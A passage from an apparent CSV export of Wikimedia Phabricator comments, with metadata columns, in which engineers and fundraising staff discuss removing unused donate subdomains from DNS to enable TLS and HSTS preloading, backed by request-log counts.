+The primary issue here is that if any of these are used for HTTP traffic, as in emails end up containing `http://www.email.donate.wikimedia.org` (or similar for the rest of the names above), then that blocks us from preloading HSTS on wikimedia.org as a whole in the long run.  If we turned on HSTS for wikimedia.org without solving this problem first, then users who had ever visited a primary wikimedia.org site (and thus picked up HSTS for wikimedia.org) would automatically re-interpret those links as `https://...`, which would break them all.
+
+Not a single one of those hostnames responds to the HTTPS protocol legitimately, and that's not an easily fixable thing.  Only `www.email.donate` and `email.donate` resolve to our own servers where we could theoretically fix the situation, but we'd still prefer to rewrite those hostnames as e.g. ""www-email-donate"" and ""email-donate"" if possible, or some other such scheme.  Alternatively, we could purchase a certificate for ""*.email.donate.wikimedia.org"", but again that would only fix the ones that map to our own servers.  All of the others map to server IPs or hostnames owned by Silverpop/IBM, so they wouldn't have legitimate certificates on our behalf in the first place regardless of the multi-subdomain thing, and again they don't even have HTTPS listeners so I doubt they're capable.
+
+Stepping back a bit from how this blocks our HSTS preloading for the rest of wikimedia.org: donations and fundraising are probably one of the most sensitive areas of any of our traffic.  In general, I'd suspect we'd want solutions for this that protect users' privacy to the degree possible, at least by not sending cleartext HTTP traffic in response to them opening, clicking around in, or replying to emails from us on this subject.  It's also a questionable experience from the user's point of view when they click on a link supposedly from our donations team and get sent to a suspicious-sounding third party like ""mtk41.net"".  This is referenced also in the two tickets @JanZerebecki linked earlier: T74514 and T60373 ...",,,1436991133,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1
+491891,Decide what to do with *.donate.wikimedia.org subdomain + TLS,Do you have a link to those recommendations?,,,1436983242,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+491842,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"These are the recommend settings from our email service provider (IBM).
+When it comes to deliverability, we have to take every possible approach as
+there are millions (tens of millions?) of email services in the world, so
+we can’t know exactly what each and every one is doing (and they are all
+doing thing differently).",,,1436978921,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+491807,Decide what to do with *.donate.wikimedia.org subdomain + TLS,">>! In T102827#1452705, @CCogdill_WMF wrote:
+> The only one(s) I'd specifically ask we keep around if possible are any containing ""email.donate"", including the ""www.email.donate"" subdomain. The reason behind all these DNS entries is different email providers will check different domains based on domains within the email headers. We suspect it's possible that certain email providers check that domain to see if it’s valid, and that factors into Inbox placement.
+
+Do you have more information on this? What exactly do they check? The existence of the name in DNS? What headers? What do we put into those headers? How do they end up with these domains?",,,1436976302,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1
+491481,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"@Chmarkine, @BBlack, @faidon - can one of you give me a summary of the domains you're proposing we delete? I'm not totally clear if it's just www.* domains at this moment or others as well.
+
+If @MeganHernandez_WMF and @Pcoombe see no reason to keep the www.* subdomains, I don't see a need for them in order to send email either. 
+
+The only one(s) I'd specifically ask we keep around if possible are any containing ""email.donate"", including the ""www.email.donate"" subdomain. The reason behind all these DNS entries is different email providers will check different domains based on domains within the email headers. We suspect it's possible that certain email providers check that domain to see if it’s valid, and that factors into Inbox placement.",,,1436911642,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,1,True,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1
+491433,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"I'm fine with dropping the www.* subdomains if they're going to cause extra work/cost. Couldn't find anywhere that they are linked to.
+
+Please do keep the project domains as redirects though unless there's a compelling reason not to. Especially donate.wikipedia.org, that's a common (and understandable) mistake. I've even seen WMF staff directing people to that domain.
+
+@CCogdill_WMF knows more about our various email domains, but maybe we should split that out to a separate task if it's more complicated.",,,1436902702,,PHID-USER-grgqimagqq3ankitlzm5,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,1,1,0,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,1,1,0,0
+487727,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 223245 had a related patch set uploaded (by Chmarkine):
+Remove www.email.donate.wikimedia.org from DNS
+
+[[https://gerrit.wikimedia.org/r/223245]]
+",,,1436246831,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+487238,Decide what to do with *.donate.wikimedia.org subdomain + TLS,Actually http://www.email.donate.wikimedia.org/ can be removed too.,,,1436201177,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+487200,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 223048 merged by Faidon Liambotis:
+Remove dead donate hostnames from redirects
+
+[[https://gerrit.wikimedia.org/r/223048]]",,,1436199725,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+487196,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 223048 had a related patch set uploaded (by BBlack):
+Remove dead donate hostnames from redirects
+
+[[https://gerrit.wikimedia.org/r/223048]]
+",,,1436199643,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+487193,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222883 abandoned by Chmarkine:
+Remove www.donate.wikipedia.org from DNS
+
+[[https://gerrit.wikimedia.org/r/222883]]",,,1436199506,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+487191,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222880 abandoned by Chmarkine:
+Remove www.donate.wiktionary.org from DNS
+
+[[https://gerrit.wikimedia.org/r/222880]]",,,1436199491,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+487188,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222877 abandoned by Chmarkine:
+Remove www.donate.mediawiki.org from DNS
+
+[[https://gerrit.wikimedia.org/r/222877]]",,,1436199477,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+487185,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222876 abandoned by Chmarkine:
+Remove www.donate.wikimediafoundation.org from DNS
+
+Reason:
+Done in If010437c
+
+[[https://gerrit.wikimedia.org/r/222876]]",,,1436199453,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+487179,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 223044 merged by Faidon Liambotis:
+Remove (www\.)?donate from most domains
+
+[[https://gerrit.wikimedia.org/r/223044]]",,,1436199169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1
+487175,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"^ Patch above is a cleanup on this based on stats/arguments above.  Seems like a near-zero-impact change to me, and clears up a lot of TLS problems for us in the process.",,,1436199091,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+487162,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 223044 had a related patch set uploaded (by BBlack):
+Remove (www\.)?donate from most domains
+
+[[https://gerrit.wikimedia.org/r/223044]]
+",,,1436198345,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1
+487107,Decide what to do with *.donate.wikimedia.org subdomain + TLS,">>! In T102827#1428781, @Krinkle wrote:
+> Seems unlikely indeed, though it's not unlikely people may mistype donate.wikimedia.org for donate.mediawiki.org or donate.wikipedia.org. And donate.$project.org shouldn't a problem as those are covered by wildcard certs. The problem is the extra `www.` prefixed variants. I certainly hope we'll keep the `donate.$project.org`, even as mere redirects.
+
+I respectfully disagree :) I think this is the kind of logic that has resulted in us hoarding domains and redirects for every conceivable user error, increasing our complexity for very little benefit. I sincerely doubt many people type URLs at the address bar nowadays and for those who do (like you and me, I guess!), I'm sure they'll be able to handle their browser's error page and take corrective action, rather than say ""oh snap, I guess I'm not going to donate after all"".
+
+That's a matter of my guess and our opinion, though, so I thought it would help to have some data. I ran a grep over oxygen's sampled 1:1000 logs for the past month — the data has some flaws (sampling was probably broken in some cases, and we have at least a large gap of a few days, so numbers are only meaningful as relative to each other, if at all):
+```
+faidon@oxygen:~$ awk '{ sum += $1 } END { print sum }' per-domain-count
+588179523
+faidon@oxygen:~$ grep donate per-domain-count
+   7939 ""donate.wikimedia.org""
+    754 ""donate.wikimedia.org:80""
+      8 ""donate.wikipedia.org""
+      3 ""donate.wikiquote.com""
+      3 ""donate.wikimediafoundation.org""
+      3 ""donate.mediawiki.org""
+      2 ""donate.wikiquote.org""
+      1 ""donate.wiktionary.org""
+      1 ""donate.wikiversity.com""
+      1 ""donate.wikimediafoundation.com""
+      1 ""donate.wikimedia.com""
+      1 ""donate.wikibooks.org""
+      1 ""donate.wikibooks.com""
+faidon@oxygen:~$ head -5 per-domain-count
+270110534 ""upload.wikimedia.org""
+98696288 ""en.wikipedia.org""
+18542227 ""ru.wikipedia.org""
+18277072 ""meta.wikimedia.org""
+17523536 ""es.wikipedia.org""
+faidon@oxygen:~$ tail -5 per-domain-count
+      1 ""033153132050""
+      1 ""031563056612""
+      1 ""0301.0244.0205.0110:443""
+      1 ""012565462272""
+      1 ""000298-1.l.windowsupdate.com""
+```
+",,,1436193546,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1
+486924,Decide what to do with *.donate.wikimedia.org subdomain + TLS,">>! In T102827#1374685, @faidon wrote:
+> Moreover, I'd like to ask if there is any point of having all of the donate.$project.org combinations. Do people actually ever go to e.g. donate.wikiversity.org? We never advertise that link anywhere, as far as I know.
+
+Seems unlikely indeed, though it's not unlikely people may mistype donate.wikimedia.org for donate.mediawiki.org or donate.wikipedia.org. And donate.$project.org shouldn't a problem as those are covered by wildcard certs. The problem is the extra `www.` prefixed variants. I certainly hope we'll keep the `donate.$project.org`, even as mere redirects.",,,1436169525,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1
+486736,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Regarding the mkt41.net cnames, see also T74514 and T60373.",,,1436100127,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+486689,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222883 had a related patch set uploaded (by Chmarkine):
+Remove www.donate.wikipedia.org from DNS
+
+[[https://gerrit.wikimedia.org/r/222883]]
+",,,1436088563,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+486686,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222880 had a related patch set uploaded (by Chmarkine):
+Remove www.donate.wiktionary.org from DNS
+
+[[https://gerrit.wikimedia.org/r/222880]]
+",,,1436087093,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+486680,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222877 had a related patch set uploaded (by Chmarkine):
+Remove www.donate.mediawiki.org from DNS
+
+[[https://gerrit.wikimedia.org/r/222877]]
+",,,1436082800,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+486679,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222876 had a related patch set uploaded (by Chmarkine):
+Remove www.donate.wikimediafoundation.org from DNS
+
+[[https://gerrit.wikimedia.org/r/222876]]
+",,,1436082464,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+486678,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Oh, actually http://www.donate.wikimediafoundation.org/ redirects to https://wikimediafoundation.org/wiki/Home, and http://www.donate.mediawiki.org/ shows an ""unconfigured domain"" error page. So they are broken already.",,,1436081754,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+486674,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Once these two domain names, `www.donate.wikimediafoundation.org` and `www.donate.mediawiki.org` are removed, `wikimediafoundation.org` and `mediawiki.org` can be preloaded. Fortunately, searching them on Google returns no results: https://www.google.com/search?q=%22www.donate.wikimediafoundation.org%22 and https://www.google.com/search?q=%22www.donate.mediawiki.org%22. So I think it is safe to remove at least these two.
+
+[1] https://raw.githubusercontent.com/wikimedia/operations-dns/master/templates/mediawiki.org
+[2] https://raw.githubusercontent.com/wikimedia/operations-dns/master/templates/wikimediafoundation.org
+",,,1436081292,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1
+486673,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Once these two domain names, `www.donate.wikimediafoundation.org`, `www.donate.mediawiki.org` are removed, `wikimediafoundation.org` and `mediawiki.org` can be preloaded. Fortunately, searching them on Google returns no results: https://www.google.com/search?q=%22www.donate.wikimediafoundation.org%22 and https://www.google.com/search?q=%22www.donate.mediawiki.org%22. So I think it is safe to remove at least these two.
+
+[1] https://raw.githubusercontent.com/wikimedia/operations-dns/master/templates/mediawiki.org
+[2] https://raw.githubusercontent.com/wikimedia/operations-dns/master/templates/wikimediafoundation.org
+",,,1436081265,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1
+477633,Decide what to do with *.donate.wikimedia.org subdomain + TLS,@meganhernandez_WMF can you let us know about the rest of the domains? Is this how the sidebar linking works or anything?,,,1434662566,,PHID-USER-j4ifauraw6sytqa3zrih,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,2,False,,,-2,True,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,1,1,0,0,0
+476481,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Moreover, I'd like to ask if there is any point of having all of the donate.$project.org combinations. Do people actually ever go to e.g. donate.wikiversity.org? We never advertise that link anywhere, as far as I know.",,,1434555777,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,0,0,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+102824,Clean up DNS/redirects for TLS,"This is a meta-task to collect up all of the related tasks for dealing with various cases of legitimate, functional domainname endpoints that browsers can hit for insecure redirects currently, which do not match our SSL certs.",Medium,50.0,1434554366,1469646357.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-fcbfwmloooyqrkcz6ecb,task_description,resolved,True,c3,2,True,True,False,-3,True,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+701549,Clean up DNS/redirects for TLS,"The title wording is unclear, which is perhaps why this ticket lingered open.  However, from the subtasks it's clear this was about exception cases within our canonical second-level domainnames.  Non-canonicals and the remaining non-standard one-off legitimate sites are all covered in other, open tickets.",,,1469646357,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-fcbfwmloooyqrkcz6ecb,task_subcomment,,True,c3,3,True,,,55,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+477519,Clean up DNS/redirects for TLS,"I imagine https://gerrit.wikimedia.org/r/#/c/219228/1 is going to put us in a similar situation with T88731 (redirects in place, but invalid SSL certs getting in the way for encrypted requests)?",,,1434654989,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-fcbfwmloooyqrkcz6ecb,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0
+102732,Control for impact of redirects in HTTPS performance impact measurements,"Per request from Faidon: we'd like to know how much, if any, of the performance regression that is currently indicated by the weekly graphs on https://performance.wikimedia.org is attributable to 301 redirects from HTTP to HTTPS. This is another way of asking: how much of the performance impact is real, and how much is a temporary consequence of the migration process?
+
+If these metrics include time spent following redirects, so much the better, because redirects should become much less frequent as HTTPS rel=canonical propagate through the caches and as search engines spider our site.
+
